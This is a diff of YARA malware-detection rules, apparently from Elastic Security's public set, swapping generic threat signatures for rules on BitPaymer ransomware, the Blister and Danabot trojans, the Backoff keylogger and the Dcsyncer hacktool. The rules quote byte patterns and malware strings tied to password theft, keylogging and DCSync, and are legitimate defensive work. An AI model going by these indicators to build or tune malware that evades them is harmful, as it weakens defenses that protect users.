+		$a = { DF 4C 89 F6 48 8B 80 B8 00 00 00 48 8D 64 24 58 5B 5D 41 5C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_1417511B : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Bitpaymer_D74273B3 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies BITPAYMER ransomware"
 		author = "Elastic Security"
-		id = "1417511b-2b31-47a8-8465-b6a174174863"
-		date = "2024-01-17"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1566-L1584"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2fc9bd91753ff3334ef7f9861dc1ae79cf5915d79fa50f7104cbb3262b7037da"
-		logic_hash = "e6b53082fa447ac3cf56784771aca742696922e6f740a24d014e04250dc5020c"
+		id = "d74273b3-d109-4b5d-beff-dffee9a984b1"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Bitpaymer.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "126246689b28e92ed10bfa6165f06ff7d4f0e062de7c58b821eaaf5e3cae9306"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4be19360fccf794ca2e53c4f47cd1becf476becf9eafeab430bdb3c64581613c"
-		severity = 50
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "4f913f06f7c7decbeb78187c566674f91ebbf929ad7057641659bb756cf2991b"
+		threat_name = "Windows.Ransomware.Bitpaymer"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 20 8B 45 08 89 45 F4 8B 4D F4 8B 55 08 03 51 3C 89 55 F0 B8 08 00 00 00 6B C8 00 8B 55 F0 8B 45 08 03 44 0A 78 89 45 F8 8B 4D F8 8B 55 08 03 51 20 89 55 EC 8B 45 F8 8B 4D 08 03 }
+		$b1 = { 24 E8 00 00 00 29 F0 19 F9 89 8C 24 88 00 00 00 89 84 24 84 00 }
 
 	condition:
-		all of them
+		1 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_7526F106 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Bitpaymer_Bca25Ac6 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies BITPAYMER ransomware"
 		author = "Elastic Security"
-		id = "7526f106-018f-41b9-a1bf-15f7d9f2188e"
-		date = "2024-01-17"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1586-L1605"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5a297c446c27a8d851c444b6b32a346a7f9f5b5e783564742d39e90cd583e0f0"
-		logic_hash = "a0f9eb760be05196f0c5c3e3bf250929b48341a58a11c24722978fa19c4a9f57"
+		id = "bca25ac6-e351-4823-be75-b0661c89588a"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Bitpaymer.yar#L22-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7670f9dafacc8fc5998c1974af66ede388c0997545da067648fec4fd053f0001"
 		score = 75
-		quality = 71
-		tags = "FILE, MEMORY"
-		fingerprint = "5f5fc4152aae94b9c3bc0380dbcb093289c840a29b629b1d76a09c672daa9586"
-		severity = 50
+		quality = 75
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "2ecc7884d47ca7dbba30ba171b632859914d6152601ea7b463c0f52be79ebb8c"
+		threat_name = "Windows.Ransomware.Bitpaymer"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 50 72 6F 6A 65 63 74 31 2E 75 45 78 57 61 74 63 68 }
-		$a2 = { 6C 49 45 4F 62 6A 65 63 74 5F 44 6F 63 75 6D 65 6E 74 43 6F 6D 70 6C 65 74 65 }
+		$a1 = "RWKGGE.PDB" fullword
+		$a2 = "*Qf69@+mESRA.RY7*+6XEF#NH.pdb" fullword
+		$a3 = "04QuURX.pdb" fullword
+		$a4 = "9nuhuNN.PDB" fullword
+		$a5 = "mHtXGC.PDB" fullword
+		$a6 = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt_new.pdb" fullword
+		$a7 = "C:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword
+		$a8 = "k:\\softcare\\release\\h2O.pdb" fullword
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_Cbe3313A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Blister_Cb99A1Df : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
 		author = "Elastic Security"
-		id = "cbe3313a-ab8f-4bf1-8f62-b5494c6e7034"
-		date = "2024-01-17"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1607-L1625"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ca2a28c851070b9bfe1f7dd655f2ea10ececef49276c998a1d2a1b48f84cef3"
-		logic_hash = "41a731cefe0c8ee95f1db598b68a8860ef7ff06137ce94d0dd0b5c60c4240e85"
+		id = "cb99a1df-756b-46fe-b657-63b4be2c0664"
+		date = "2021-12-21"
+		modified = "2022-01-13"
+		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Blister.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00"
+		logic_hash = "deb1be5300d8af12dda868dd5f4ccdbb3ec653bd97c33a09e567c13ecafb9e8a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dc92cec72728b1df78d79dc5a34ea56ee0b8c8199652c1039288c46859799376"
-		severity = 50
+		fingerprint = "7a7e189ed42019636ffccc06d61e18f2aa17bc3d43d08d50bb77c3258bc1a9a4"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 08 68 E6 25 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 2C 53 56 57 89 65 F8 C7 45 FC D0 25 40 00 A1 94 B1 41 00 33 F6 3B C6 89 75 EC 89 75 E8 89 75 E4 0F 8E E7 00 00 }
+		$a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
+		$a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
+		$b1 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Generic_Threat_779Cf969 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Blister_9D757838 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
 		author = "Elastic Security"
-		id = "779cf969-d1a0-4280-94cb-c7f62d33482c"
-		date = "2024-01-17"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1627-L1645"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ef281230c248442c804f1930caba48f0ae6cef110665020139f826ab99bbf274"
-		logic_hash = "ad0f2d78386abf4c6dc6b5a4a88b4dcf8e5bf8086b08bac91e5e00be9936e908"
+		id = "9d757838-ebaa-4ecf-b927-ac0f4848c9cb"
+		date = "2022-04-26"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Blister.yar#L24-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "863de84a39c9f741d8103db83b076695d0d10a7384e4e3ba319c05a6018d9737"
+		logic_hash = "4d9ce1622d77b2ac8b20b2dfb60ac672752dabab315221a5449ebd3c73a3edca"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7e089462cc02e2c9861018df71bf5dda6a3a982d3d98b252d44387c937526be4"
-		severity = 50
+		fingerprint = "4ef2e22d0006b127b253d02073cde0d805d22d8696562feabc94020e287e2eb2"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 3E 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 50 79 74 68 6F 6E 20 53 6F 66 74 77 61 72 65 20 46 6F 75 6E 64 61 74 69 6F 6E 2E 20 41 6C 6C 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E }
+		$a1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
+		$a2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Generic_Threat_D568682A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Blister_68B53E1B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
 		author = "Elastic Security"
-		id = "d568682a-94d2-41e7-88db-f6d6499cbdb2"
-		date = "2024-01-17"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1647-L1665"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d98bc52259e0625ec2f24078cf4ae3233e5be0ade8f97a80ca590a0f1418582"
-		logic_hash = "97e172502037c7a5d66327fcc4a237e5548694fc7d73a535838ad56367f15d76"
+		id = "68b53e1b-dbd7-4903-ac10-8336c05f42df"
+		date = "2023-08-02"
+		modified = "2023-08-08"
+		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Blister.yar#L46-L66"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db"
+		logic_hash = "6d935461406a6b9b39867d52aa5ecb088945ae0f8c56895a67e8565e5a2a3699"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2195cf67cdedfe7531591f65127ef800062d88157126393d0a767837a9023632"
-		severity = 50
+		fingerprint = "b46d59117eda3d6a7a6397287c962106719bf338d19814e20bde9deeebfe65c1"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 28 22 00 00 0A 80 19 00 00 04 28 53 00 00 06 28 2D 00 00 0A 28 5D 00 00 06 16 80 1D 00 00 04 7E 13 00 00 04 7E 15 00 00 04 16 7E 15 00 00 04 8E B7 16 14 FE 06 5B 00 00 06 73 79 00 }
+		$b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }
+		$b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Ccb6A7A2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Blister_487B0966 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Blister (Windows.Trojan.Blister)"
 		author = "Elastic Security"
-		id = "ccb6a7a2-6003-4ba0-aefc-3605d085486d"
-		date = "2024-01-17"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1667-L1686"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "60503212db3f27a4d68bbfc94048ffede04ad37c78a19c4fe428b50f27af7a0d"
-		logic_hash = "312265bbc4330a463bbe7478c70233f5df3353bda3c450562f2414f3675ba91e"
+		id = "487b0966-fb24-4c41-84cc-f3a389461ddc"
+		date = "2023-09-11"
+		modified = "2023-09-20"
+		reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Blister.yar#L68-L89"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db"
+		logic_hash = "521409d03335205507cc6894e0de3ca627eb966a95a2f8e7b931e552ad78bbb7"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a73b0e067fce2e87c08359b4bb2ba947cc276ff0a07ff9e04cabde529e264192"
-		severity = 50
+		fingerprint = "7111f2f9746e056f6ac5e08d904f71628a548b4ab2c1181dec0a38f0f8387878"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 40 52 61 6E 67 65 3A 62 79 74 65 73 3D 30 2D }
-		$a2 = { 46 49 77 41 36 4B 58 49 75 4E 66 4B 71 49 70 4B 30 4D 57 4D 74 49 38 4B 67 4D 68 49 39 4B 30 4D 53 49 6A 4B 66 4D 73 49 76 4B 75 4D 64 49 70 4B 30 4D 73 49 66 4B 68 4D 6F 49 69 43 6F 4D 6C 49 71 4B }
+		$b_loader0 = { 65 48 8B 04 25 60 00 00 00 44 8B D3 41 BE ?? ?? ?? ?? 48 8B 50 18 48 83 C2 ?? 48 8B 0A }
+		$b_loader1 = { 0F B7 C0 4D 8D 49 02 41 33 C0 44 69 C0 ?? ?? ?? ?? 41 8B C0 C1 E8 0F 44 33 C0 41 0F B7 01 66 85 C0 }
+		$b_loader2 = { 66 45 03 DC 49 83 C2 04 41 0F B7 C3 49 83 C0 02 3B C6 }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Generic_Threat_D62F1D01 : FILE MEMORY
+rule ELASTIC_Multi_Generic_Threat_19854Dc2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Multi Generic Threat (Multi.Generic.Threat)"
 		author = "Elastic Security"
-		id = "d62f1d01-4e24-4a93-85ad-3a3886d5de2f"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "19854dc2-a568-4f6c-bd47-bcae9976c66f"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1688-L1706"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "380892397b86f47ec5e6ed1845317bf3fd9c00d01f516cedfe032c0549eef239"
-		logic_hash = "fd65eb56f3a48c37f83d3544c039d29c231cac1e2f8f07d176d709432a75a4c3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Generic_Threat.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "be216fa9cbf0b64d769d1e8ecddcfc3319c7ca8e610e438dcdfefc491730d208"
+		logic_hash = "beed6d6cd7b7b6eb3f4ab6a45fd19f2ebfb661e470d468691b68634994e2eef7"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "f7736c8920092452ca795583a258ad8b1ffd79116bddde3cff5d06b3ddab31b6"
+		fingerprint = "64d3803490fa71f720678ca2989cc698ea9b1a398d02d6d671fa01e0ff42f8b5"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "multi"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 56 8B 75 08 33 C0 57 8B FE AB AB AB 8B 7D 0C 8B 45 10 03 C7 89 45 FC 3B F8 73 3F 0F B7 1F 53 E8 01 46 00 00 59 66 3B C3 75 28 83 46 04 02 83 FB 0A 75 15 6A 0D 5B 53 E8 E9 45 00 }
+		$a1 = { 26 2A 73 74 72 75 63 74 20 7B 20 45 6E 74 72 79 53 61 6C 74 20 5B 5D 75 69 6E 74 38 3B 20 4C 65 6E 20 69 6E 74 20 7D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_2Bb6F41D : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Dcsyncer_425579C5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "MGIxY2/05+FBDTur++++0OUs"
 		author = "Elastic Security"
-		id = "2bb6f41d-41bb-4257-84ef-9026fcc0ebec"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "425579c5-496f-4e08-a7e3-bf56e622aa21"
+		date = "2021-09-15"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1708-L1728"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "afa060352346dda4807dffbcac75bf07e8800d87ff72971b65e9805fabef39c0"
-		logic_hash = "7c4e62b69880eb8a901d7e94b7539786e8ac58808df07cb1cbe9ff45efce518e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Dcsyncer.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "af7dbc84efeb186006d75d095f54a266f59e6b2348d0c20591da16ae7b7d509a"
+		logic_hash = "b0330adf1d4420ddf1f302974d2e4179f52ab1c8dc2f294ddf52286d714e0463"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d9062e792a0b8f92a03c0fdadd4dd651a0072faa3dd439bb31399a0c75a78c21"
-		severity = 50
+		fingerprint = "f6a0c028323be41f6ec90af8a7ea8587fee6985ddefdbcdd24351cb615f756a2"
+		threat_name = "Windows.Hacktool.Dcsyncer"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 67 65 74 5F 73 45 78 70 59 65 61 72 }
-		$a2 = { 73 65 74 5F 73 45 78 70 59 65 61 72 }
-		$a3 = { 42 72 6F 77 73 65 72 50 61 74 68 54 6F 41 70 70 4E 61 6D 65 }
+		$a1 = "[x] dcsync: Error in ProcessGetNCChangesReply" wide fullword
+		$a2 = "[x] getDCBind: RPC Exception 0x%08x (%u)" wide fullword
+		$a3 = "[x] getDomainAndUserInfos: DomainControllerInfo: 0x%08x (%u)" wide fullword
+		$a4 = "[x] ProcessGetNCChangesReply_decrypt: Checksums don't match (C:0x%08x - R:0x%08x)" wide fullword
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Generic_Threat_C54Ed0Ed : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Danabot_6F3Dadb2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Danabot (Windows.Trojan.Danabot)"
 		author = "Elastic Security"
-		id = "c54ed0ed-9c63-437c-a016-d960bbb83c40"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "6f3dadb2-3283-4333-8143-1265721d2221"
+		date = "2021-08-15"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1730-L1747"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f0f4878cb003371522ed1419984f15fd5049f1adeb8e051b8b51b31b0d620e96"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Danabot.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "716e5a3d29ff525aed30c18061daff4b496f3f828ba2ac763efd857062a42e96"
+		logic_hash = "b9c895be9eab775726abd2c13256d598c5b79bceb2d652c30b1df4cfc37e4b93"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e08706e235d6cf23d9c772e1b67463b3e6261a5155d88762472d892079df0d4"
+		fingerprint = "387e3fb3c3f625c8b5e42052c126ce4dbb7de3a7de6b68addf0a0777b9d3b504"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -93912,523 +97889,558 @@ rule ELASTIC_Windows_Generic_Threat_C54Ed0Ed : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 81 FA 00 10 00 00 72 1C 48 83 C2 27 4C 8B 41 F8 49 2B C8 48 8D 41 F8 48 83 F8 1F 0F 87 92 00 00 00 49 8B C8 ?? ?? ?? ?? ?? 48 83 63 10 00 33 C0 EB 58 4D 8B CC 4D 8B C7 49 8B D6 48 8B CE FF D0 }
+		$a1 = "%s.dll" ascii fullword
+		$a2 = "del_ini://Main|Password|" wide fullword
+		$a3 = "S-Password.txt" wide fullword
+		$a4 = "BiosTime:" wide fullword
+		$a5 = "%lu:%s:%s:%d:%s" ascii fullword
+		$a6 = "DNS:%s" ascii fullword
+		$a7 = "THttpInject&" ascii fullword
+		$a8 = "TCookies&" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Dbe41439 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Backoff_22798F00 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Backoff (Windows.Trojan.Backoff)"
 		author = "Elastic Security"
-		id = "dbe41439-982d-4897-9007-9ad0f206dc75"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "22798f00-ff2a-4f5f-a9ef-fab6d04ca679"
+		date = "2022-08-10"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1749-L1767"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "64afd2bc6cec17402473a29b94325ae2e26989caf5a8b916dc21952149d71b00"
-		logic_hash = "288cdc285d024f2b69847e0d49bd4dc1c86a2a6a24a7b4fb248071855ba39a38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Backoff.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "65b5aff18a4e0bc29d7cc4cfbe2d5882f99a855727fe467b2ba2e2851c43d21b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f7c94f5bc3897c4741899e4f6d2731cd07f61e593500efdd33b5d84693465dd3"
-		severity = 50
+		fingerprint = "a45fc701844e6e0cfba5d8ef90d00960b5817af66e6b3d889a54d33539cd5d41"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 E4 F8 83 EC 2C 53 56 8B F1 57 89 74 24 10 8B 46 1C 8B 08 85 C9 74 23 8B 56 2C 8B 3A 8D 04 0F 3B C8 73 17 8D 47 FF 89 02 8B 4E 1C 8B 11 8D 42 01 89 01 0F B6 02 E9 F1 00 00 00 33 DB }
+		$str1 = "\\nsskrnl" fullword
+		$str2 = "Upload KeyLogs" fullword
+		$str3 = "&op=%d&id=%s&ui=%s&wv=%d&gr=%s&bv=%s" fullword
+		$str4 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword
+		$str5 = "\\OracleJava\\Log.txt" fullword
+		$str6 = "[Ctrl+%c]" fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Generic_Threat_51A52B44 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Procid_86605Fa9 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Procid (Windows.VulnDriver.ProcId)"
 		author = "Elastic Security"
-		id = "51a52b44-025b-4068-89eb-01cdf66efb4e"
-		date = "2024-01-21"
-		modified = "2024-02-08"
+		id = "86605fa9-bf1a-4c2c-87f5-cb656ebe4cf3"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1769-L1787"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "303aafcc660baa803344bed6a3a7a5b150668f88a222c28182db588fc1e744e0"
